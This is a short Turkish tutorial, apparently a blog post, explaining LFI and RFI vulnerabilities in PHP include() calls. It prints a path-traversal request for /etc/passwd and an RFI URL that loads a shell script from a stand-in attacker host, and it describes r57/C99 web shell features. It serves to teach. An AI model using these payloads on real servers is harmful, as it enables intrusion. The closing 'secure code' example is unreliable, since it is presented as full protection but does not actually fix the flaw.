PHP’de RFI ve LFI Açıklıkarı nedir ?
PHP web programlama dilinde meydana gelen RFI ve LFI php kod tarafından
nasıl meydana geliyor.
File İnclusion : Dosya ekleme olarak tabir edebilen bir zayıflıktır. File İnclusion
saldırıları PHP web yazılım dilinde karşılaşılan bir güvenlik açığıdır.
LFI(Local File Inclusion): Yerelden dosya ekleyerek kod çalıştırmaktır.
RFI(Remote File Inclusion): Uzaktan dosya ekleyerek kod çalıştırnaktır.
PHP web programla dili ile kodlanmış uygulamalarda,yazılımcıların tanımladıkları
değişkene değer atamaması sonucunca veya atanan değelerin filtrelenmemesinden kaynaklanmaktadır.
Şimdi bunu bir kod örneği ile açıklayalım.
Örnek:/LFI(Local File Inclusion)
——————————-
index.php dosyası:
<?php
include($_GET[‘sayfa’])
?>
——————————–
Bu tarz bağlantılar içeren bir web sitesinde aşağıdaki gibi bağlantı istekleri ile
karşılaşırız.
index.php?sayfa=galeri.php
index.php?sayfa=iletisim.php
Bu tarz bir yazılım,LFI(Local File Inclusion) zayıflığını oluşturur.
/ index.php?sayfa=../../../../../../../../../etc/passwd/
oluşan hatada “../” ifadesi i bulunduğu dizinden bir üst dizine çıkmayı sağlar ve sunucunun /etc/passwd içeriğini yani
kullanıcı listesini ekrana yazdırır:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
…..şeklinde gerçekleşir.
Şimdi gelelim RFI(Remote File Inclusion) hatasına
index2.php dosyası:
include(“$duyurular/guncel/duyuru.php”);
Bu satırdaki “$” işareti bulunan parametreden doğan hatalı kodlama ile uzaktan dosya çağırmamızı sağlar.
“http://www.sayfa.com/index2.php?duyurular=http://saldirgan.com/shell.txt?”
Yukarıdaki şekilde, http://saldirgan.com/shell.txt? adresinde bulunan zararlı kodlar www.hedef.com adresi üzerinde çalıştırılacaktır.
Bu noktada saldırgan yönlendirilen alanda shell ve listpatch isimleriyle tabir edilen kötü amaçlı scriptçikleri kullanarak web sitenin sunucusuna sızmaktadır!
Böylelikle sunucu üzerinde istenilen işlemleri gerçekleştirebilmektedir. Bunların en çok kullanılanları r57, C99 ve veryasyonlarıdır…
Mesela R57 Shell’inin özelliklerine bir değinelim…
R57 web üzerinde komut çalıştırma, dizin atlama, dosya düzenleme, yeni dosya oluşturma, dosya çalıştırma, veritabanına bağlanma&bağlantıları görme, dosya içeriği okuma,
dosya yükleme ve dosya indirme vs.. özellikleriyle sunucu üzerinde yetkisiz olarak birçok işlev gerçekleştirmektedir.
Sql veritabanına bağlantı kurabilir, veritabanını dışarı aktarabilir ve belirtilen veritabanı üzerine sql komutları çalıştırabilir. Bu özelliği ile hedef sitenin veritabanı bilgilerini
barındıran dosyayı dışarı aktarabilir ve sql komutlarıyla istenilen diğer işlemler yapılabilir.
Özellikle hosting firmalarının çok fazla siteyi aynı sunucuda barındırdığını düşünürsek herhangi bir sitede güvenlik açığı olması durumunda o sunucu üzerinde bulunan tüm
web siteleri ve sunucu tehlike altındadır.
Zayıf Kod Örneği
<?php
include ($ornek. ‘../index.php’);
?>
Güvenli Kod Örneği
<?php
$ornek= ‘veri’;
include ($ornek. ‘../index.php’);
?>
Elimizdeki bu örnekler sayesinde RFI ve LFI açıklarından korunmuş olacağız..
Comments 0